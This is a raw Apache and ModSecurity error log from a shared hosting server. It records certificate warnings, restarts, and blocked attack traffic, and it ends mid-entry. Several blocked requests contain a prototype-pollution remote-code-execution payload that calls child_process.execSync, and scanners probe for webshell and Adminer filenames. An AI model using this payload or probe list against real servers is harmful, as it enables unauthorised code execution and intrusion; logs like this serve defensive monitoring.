mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.675204 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.678958 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.679616 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.680447 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.688774 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.689383 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.692155 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.693856 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.694718 2025] [mpm_event:notice] [pid 29077:tid 29077] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Thu Dec 18 03:50:41.694730 2025] [core:notice] [pid 29077:tid 29077] AH00094: Command line: '/usr/local/apache/bin/httpd' [Thu Dec 18 03:50:47.909352 2025] [mpm_event:notice] [pid 29077:tid 29077] AH00493: SIGUSR1 received. Doing graceful restart [Thu Dec 18 03:50:48.012983 2025] [ssl:warn] [pid 29077:tid 29077] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Thu Dec 18 03:50:48.018869 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.019626 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.020437 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.039774 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.040416 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.041249 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.047972 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.048646 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.049177 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.050273 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.050858 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.051351 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.059682 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.060628 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.061471 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.063275 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:48.064309 2025] [mpm_event:notice] [pid 29077:tid 29077] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Thu Dec 18 03:50:48.064320 2025] [core:notice] [pid 29077:tid 29077] AH00094: Command line: '/usr/local/apache/bin/httpd' [Thu Dec 18 03:50:50.286197 2025] [mpm_event:notice] [pid 29077:tid 29077] AH00492: caught SIGWINCH, shutting down gracefully [Thu Dec 18 03:50:52.804821 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.805933 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.806771 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.834214 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.835166 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.836011 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.841235 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.842139 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.842945 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.844618 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.845768 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.846475 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.855672 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.856644 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.857448 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.859133 2025] [ssl:warn] [pid 29729:tid 29729] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:52.859845 2025] [:notice] [pid 29729:tid 29729] ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/) configured. [Thu Dec 18 03:50:52.859868 2025] [:notice] [pid 29729:tid 29729] ModSecurity: APR compiled version="1.6.2"; loaded version="1.6.2" [Thu Dec 18 03:50:52.859876 2025] [:notice] [pid 29729:tid 29729] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30" [Thu Dec 18 03:50:52.859880 2025] [:notice] [pid 29729:tid 29729] ModSecurity: LIBXML compiled version="2.9.1" [Thu Dec 18 03:50:52.859989 2025] [:notice] [pid 29729:tid 29729] ModSecurity: StatusEngine call: "2.9.1,Apache/2.4.62 (Unix) Open,1.6.2/1.6.2,8.32/8.32 2012-11-30,(null),2.9.1,64584df529829600207ff78fc29040b2d979f2a3" [Thu Dec 18 03:50:52.930364 2025] [:notice] [pid 29729:tid 29729] ModSecurity: StatusEngine call successfully sent. For more information visit: http://status.modsecurity.org/ [Thu Dec 18 03:50:53.011338 2025] [ssl:warn] [pid 29730:tid 29730] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Thu Dec 18 03:50:53.019248 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.020148 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.020885 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.045611 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.046243 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.046792 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.050518 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.051177 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.051709 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.053373 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.054249 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.054947 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.061451 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.062068 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.062738 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.064564 2025] [ssl:warn] [pid 29730:tid 29730] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:53.068851 2025] [mpm_event:notice] [pid 29730:tid 29730] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Thu Dec 18 03:50:53.068913 2025] [core:notice] [pid 29730:tid 29730] AH00094: Command line: '/usr/local/apache/bin/httpd' [Thu Dec 18 03:55:55.033372 2025] [:error] [pid 29747:tid 29767] [client 35.94.19.144:37022] [client 35.94.19.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.nrhidroplastic.com"] [uri "/"] [unique_id "aUPBm3KdU8bhOWrcsPpzOAAAAA0"] [Thu Dec 18 05:04:21.838027 2025] [:error] [pid 29747:tid 29763] [client 34.216.137.169:42918] [client 34.216.137.169] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.tramildom.com"] [uri "/"] [unique_id "aUPRpXKdU8bhOWrcsPp_SgAAAAk"] [Thu Dec 18 05:18:20.160865 2025] [:error] [pid 29747:tid 29755] [client 4.241.176.112:35062] File does not exist: /usr/local/apache/htdocs/aa.php [Thu Dec 18 05:18:20.350756 2025] [:error] [pid 29748:tid 29806] [client 4.241.176.112:35068] File does not exist: /usr/local/apache/htdocs/abcd.php [Thu Dec 18 05:18:20.535787 2025] [:error] [pid 29976:tid 30001] [client 4.241.176.112:35074] File does not exist: /usr/local/apache/htdocs/admin.php [Thu Dec 18 05:18:20.913788 2025] [:error] [pid 29976:tid 30000] [client 4.241.176.112:35086] File does not exist: /usr/local/apache/htdocs/edit.php [Thu Dec 18 05:18:21.095973 2025] [:error] [pid 29749:tid 29823] [client 4.241.176.112:35092] File does not exist: /usr/local/apache/htdocs/file.php [Thu Dec 18 05:18:21.290953 2025] [:error] [pid 29749:tid 29815] [client 4.241.176.112:35100] File does not exist: /usr/local/apache/htdocs/flower.php [Thu Dec 18 05:18:21.657746 2025] [:error] [pid 29976:tid 29999] [client 4.241.176.112:35114] File does not exist: /usr/local/apache/htdocs/info.php [Thu Dec 18 05:18:21.845728 2025] [:error] [pid 29976:tid 29987] [client 4.241.176.112:35122] File does not exist: /usr/local/apache/htdocs/NewFile.php [Thu Dec 18 05:18:22.029410 2025] [:error] [pid 29976:tid 29993] [client 4.241.176.112:35128] File does not exist: /usr/local/apache/htdocs/alfa.php [Thu Dec 18 05:18:22.211945 2025] [:error] [pid 29749:tid 29819] [client 4.241.176.112:35134] File does not exist: /usr/local/apache/htdocs/ioxi-o.php [Thu Dec 18 05:18:22.389808 2025] [:error] [pid 29748:tid 29788] [client 4.241.176.112:35140] File does not exist: /usr/local/apache/htdocs/nc4.php [Thu Dec 18 05:18:22.574301 2025] [:error] [pid 29976:tid 29985] [client 4.241.176.112:35146] File does not exist: /usr/local/apache/htdocs/13.php [Thu Dec 18 05:18:22.756385 2025] [:error] [pid 29976:tid 30000] [client 4.241.176.112:35152] File does not exist: /usr/local/apache/htdocs/kk.php [Thu Dec 18 05:18:22.935695 2025] [:error] [pid 29747:tid 29777] [client 4.241.176.112:35158] File does not exist: /usr/local/apache/htdocs/jp.php [Thu Dec 18 05:18:23.112752 2025] [:error] [pid 29748:tid 29804] [client 4.241.176.112:35164] File does not exist: /usr/local/apache/htdocs/403.php [Thu Dec 18 05:18:23.297489 2025] [:error] [pid 29749:tid 29825] [client 4.241.176.112:35170] File does not exist: /usr/local/apache/htdocs/ds.php [Thu Dec 18 05:18:23.474313 2025] [:error] [pid 29749:tid 29827] [client 4.241.176.112:35174] File does not exist: /usr/local/apache/htdocs/xmrlpc.php [Thu Dec 18 05:18:23.652289 2025] [:error] [pid 29749:tid 29809] [client 4.241.176.112:35180] File does not exist: /usr/local/apache/htdocs/about.php [Thu Dec 18 05:18:23.836319 2025] [:error] [pid 29749:tid 29830] [client 4.241.176.112:35188] File does not exist: /usr/local/apache/htdocs/adminfuns.php [Thu Dec 18 05:18:24.014796 2025] [:error] [pid 29749:tid 29832] [client 4.241.176.112:35194] File does not exist: /usr/local/apache/htdocs/asasx.php [Thu Dec 18 05:18:24.206762 2025] [:error] [pid 29976:tid 29986] [client 4.241.176.112:35202] File does not exist: /usr/local/apache/htdocs/autoload_classmap.php [Thu Dec 18 05:18:24.397816 2025] [:error] [pid 29749:tid 29814] [client 4.241.176.112:35212] File does not exist: /usr/local/apache/htdocs/classwithtostring.php [Thu Dec 18 05:18:24.578274 2025] [:error] [pid 29749:tid 29822] [client 4.241.176.112:35218] File does not exist: /usr/local/apache/htdocs/cong.php [Thu Dec 18 05:18:24.759217 2025] [:error] [pid 29749:tid 29825] [client 4.241.176.112:35224] File does not exist: /usr/local/apache/htdocs/file2.php [Thu Dec 18 05:18:24.939867 2025] [:error] [pid 29749:tid 29811] [client 4.241.176.112:35230] File does not exist: /usr/local/apache/htdocs/moon.php [Thu Dec 18 05:18:25.125003 2025] [:error] [pid 29976:tid 29997] [client 4.241.176.112:35238] File does not exist: /usr/local/apache/htdocs/cache.php [Thu Dec 18 05:18:25.306370 2025] [:error] [pid 29747:tid 29766] [client 4.241.176.112:35244] File does not exist: /usr/local/apache/htdocs/axx.php [Thu Dec 18 05:18:25.492149 2025] [:error] [pid 29976:tid 30004] [client 4.241.176.112:35252] File does not exist: /usr/local/apache/htdocs/xleet.php [Thu Dec 18 05:41:14.553836 2025] [:error] [pid 29976:tid 29984] [client 52.169.163.135:40040] File does not exist: /usr/local/apache/htdocs/amniotic.php [Thu Dec 18 05:41:14.655425 2025] [:error] [pid 29747:tid 29758] [client 52.169.163.135:40046] File does not exist: /usr/local/apache/htdocs/maghrib.php [Thu Dec 18 05:41:14.759844 2025] [:error] [pid 29976:tid 29996] [client 52.169.163.135:40050] File does not exist: /usr/local/apache/htdocs/byby.php [Thu Dec 18 05:41:14.852977 2025] [:error] [pid 29747:tid 29773] [client 52.169.163.135:40056] File does not exist: /usr/local/apache/htdocs/modules.php [Thu Dec 18 05:41:14.940799 2025] [:error] [pid 29748:tid 29789] [client 52.169.163.135:40060] File does not exist: /usr/local/apache/htdocs/home.php [Thu Dec 18 05:41:15.041317 2025] [:error] [pid 29748:tid 29791] [client 52.169.163.135:40064] File does not exist: /usr/local/apache/htdocs/guestbook.php [Thu Dec 18 05:41:15.144897 2025] [:error] [pid 29976:tid 30004] [client 52.169.163.135:40070] File does not exist: /usr/local/apache/htdocs/gastenboek.php [Thu Dec 18 05:41:15.257879 2025] [:error] [pid 29976:tid 29988] [client 52.169.163.135:40074] File does not exist: /usr/local/apache/htdocs/Guestbook.php [Thu Dec 18 05:41:15.352072 2025] [:error] [pid 29749:tid 29824] [client 52.169.163.135:40078] File does not exist: /usr/local/apache/htdocs/jax_guestbook.php [Thu Dec 18 05:41:15.437672 2025] [:error] [pid 29976:tid 29985] [client 52.169.163.135:40082] File does not exist: /usr/local/apache/htdocs/scarbook.php [Thu Dec 18 05:41:15.523615 2025] [:error] [pid 29976:tid 29995] [client 52.169.163.135:40086] File does not exist: /usr/local/apache/htdocs/gaestebuch.php [Thu Dec 18 05:41:15.614158 2025] [:error] [pid 29976:tid 29989] [client 52.169.163.135:40090] File does not exist: /usr/local/apache/htdocs/gb.php [Thu Dec 18 05:41:15.707193 2025] [:error] [pid 29976:tid 29996] [client 52.169.163.135:40094] File does not exist: /usr/local/apache/htdocs/wp-login.php [Thu Dec 18 05:41:15.812130 2025] [:error] [pid 29747:tid 29771] [client 52.169.163.135:40098] File does not exist: /usr/local/apache/htdocs/adminer-4.6.3.php [Thu Dec 18 05:41:15.914916 2025] [:error] [pid 29749:tid 29811] [client 52.169.163.135:40102] File does not exist: /usr/local/apache/htdocs/db.php [Thu Dec 18 05:41:16.010117 2025] [:error] [pid 29976:tid 30006] [client 52.169.163.135:40106] File does not exist: /usr/local/apache/htdocs/olux.php [Thu Dec 18 05:41:16.110074 2025] [:error] [pid 29749:tid 29820] [client 52.169.163.135:40112] File does not exist: /usr/local/apache/htdocs/indoxploit.php [Thu Dec 18 05:41:16.196878 2025] [:error] [pid 29748:tid 29803] [client 52.169.163.135:40116] File does not exist: /usr/local/apache/htdocs/wso.php [Thu Dec 18 05:41:16.287246 2025] [:error] [pid 29747:tid 29777] [client 52.169.163.135:40122] File does not exist: /usr/local/apache/htdocs/up.php [Thu Dec 18 05:41:16.382032 2025] [:error] [pid 29976:tid 30003] [client 52.169.163.135:40126] File does not exist: /usr/local/apache/htdocs/upload.php [Thu Dec 18 05:41:16.480037 2025] [:error] [pid 29976:tid 29995] [client 52.169.163.135:40130] File does not exist: /usr/local/apache/htdocs/shell.php [Thu Dec 18 05:41:16.571753 2025] [:error] [pid 29976:tid 29991] [client 52.169.163.135:40134] File does not exist: /usr/local/apache/htdocs/adminer-4.6.2.php [Thu Dec 18 05:41:16.676452 2025] [:error] [pid 29976:tid 29997] [client 52.169.163.135:40138] File does not exist: /usr/local/apache/htdocs/adminer-4.6.1.php [Thu Dec 18 05:41:16.778297 2025] [:error] [pid 29976:tid 30002] [client 52.169.163.135:40142] File does not exist: /usr/local/apache/htdocs/adminer-4.6.0.php [Thu Dec 18 05:41:16.866318 2025] [:error] [pid 29976:tid 29993] [client 52.169.163.135:40146] File does not exist: /usr/local/apache/htdocs/adminer.php [Thu Dec 18 05:41:16.959522 2025] [:error] [pid 29976:tid 29983] [client 52.169.163.135:40150] File does not exist: /usr/local/apache/htdocs/adminer-4.5.0.php [Thu Dec 18 05:41:17.052079 2025] [:error] [pid 29749:tid 29818] [client 52.169.163.135:40154] File does not exist: /usr/local/apache/htdocs/adminer-4.4.0.php [Thu Dec 18 05:41:17.139457 2025] [:error] [pid 29749:tid 29831] [client 52.169.163.135:40158] File does not exist: /usr/local/apache/htdocs/adminer-4.3.1.php [Thu Dec 18 05:41:17.237030 2025] [:error] [pid 29976:tid 29989] [client 52.169.163.135:40162] File does not exist: /usr/local/apache/htdocs/adminer-4.3.0.php [Thu Dec 18 05:41:17.326583 2025] [:error] [pid 29976:tid 29987] [client 52.169.163.135:40166] File does not exist: /usr/local/apache/htdocs/adminer-4.2.5.php [Thu Dec 18 05:41:17.414099 2025] [:error] [pid 29976:tid 29982] [client 52.169.163.135:40170] File does not exist: /usr/local/apache/htdocs/adminer-4.2.4.php [Thu Dec 18 05:41:17.508721 2025] [:error] [pid 29976:tid 30002] [client 52.169.163.135:40174] File does not exist: /usr/local/apache/htdocs/adminer-4.2.3.php [Thu Dec 18 05:41:17.600725 2025] [:error] [pid 29976:tid 30005] [client 52.169.163.135:40178] File does not exist: /usr/local/apache/htdocs/adminer-4.2.2.php [Thu Dec 18 05:41:17.690990 2025] [:error] [pid 29976:tid 29983] [client 52.169.163.135:40182] File does not exist: /usr/local/apache/htdocs/adminer-4.2.1.php [Thu Dec 18 05:41:17.783036 2025] [:error] [pid 29976:tid 30003] [client 52.169.163.135:40186] File does not exist: /usr/local/apache/htdocs/adminer-4.2.0.php [Thu Dec 18 05:41:17.883601 2025] [:error] [pid 29976:tid 29985] [client 52.169.163.135:40190] File does not exist: /usr/local/apache/htdocs/adminer-4.1.0.php [Thu Dec 18 05:41:17.975386 2025] [:error] [pid 29749:tid 29826] [client 52.169.163.135:40194] File does not exist: /usr/local/apache/htdocs/adminer-4.0.3.php [Thu Dec 18 05:41:18.063386 2025] [:error] [pid 29976:tid 29990] [client 52.169.163.135:40198] File does not exist: /usr/local/apache/htdocs/adminer-4.0.2.php [Thu Dec 18 05:41:18.150517 2025] [:error] [pid 29976:tid 29996] [client 52.169.163.135:40204] File does not exist: /usr/local/apache/htdocs/adminer-4.0.1.php [Thu Dec 18 05:41:18.237982 2025] [:error] [pid 29749:tid 29811] [client 52.169.163.135:40210] File does not exist: /usr/local/apache/htdocs/adminer-4.0.0.php [Thu Dec 18 05:41:18.324186 2025] [:error] [pid 29749:tid 29832] [client 52.169.163.135:40214] File does not exist: /usr/local/apache/htdocs/adminer-3.7.1.php [Thu Dec 18 05:41:18.410511 2025] [:error] [pid 29976:tid 29982] [client 52.169.163.135:40218] File does not exist: /usr/local/apache/htdocs/adminer-3.7.0.php [Thu Dec 18 05:41:18.497408 2025] [:error] [pid 29748:tid 29783] [client 52.169.163.135:40222] File does not exist: /usr/local/apache/htdocs/adminer-3.6.4.php [Thu Dec 18 05:41:18.599597 2025] [:error] [pid 29976:tid 30006] [client 52.169.163.135:40228] File does not exist: /usr/local/apache/htdocs/adminer-3.6.3.php [Thu Dec 18 05:41:18.687565 2025] [:error] [pid 29748:tid 29801] [client 52.169.163.135:40232] File does not exist: /usr/local/apache/htdocs/adminer-3.6.2.php [Thu Dec 18 05:41:18.792199 2025] [:error] [pid 29748:tid 29789] [client 52.169.163.135:40236] File does not exist: /usr/local/apache/htdocs/adminer-3.6.1.php [Thu Dec 18 05:41:18.905347 2025] [:error] [pid 29748:tid 29800] [client 52.169.163.135:40240] File does not exist: /usr/local/apache/htdocs/adminer-3.6.0.php [Thu Dec 18 05:41:18.996555 2025] [:error] [pid 29748:tid 29788] [client 52.169.163.135:40244] File does not exist: /usr/local/apache/htdocs/ad.php [Thu Dec 18 05:41:19.087839 2025] [:error] [pid 29748:tid 29794] [client 52.169.163.135:40250] File does not exist: /usr/local/apache/htdocs/regpage.php [Thu Dec 18 05:41:19.179532 2025] [:error] [pid 29748:tid 29785] [client 52.169.163.135:40254] File does not exist: /usr/local/apache/htdocs/phpnet1.php [Thu Dec 18 05:52:44.273256 2025] [:error] [pid 29976:tid 29993] [client 54.191.51.225:57154] [client 54.191.51.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.friomasterintl.com"] [uri "/"] [unique_id "aUPc_IN2OSfkhgv6trTxhwAAAMs"] [Thu Dec 18 06:02:28.774206 2025] [:error] [pid 29749:tid 29821] [client 34.220.105.198:42872] [client 34.220.105.198] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file 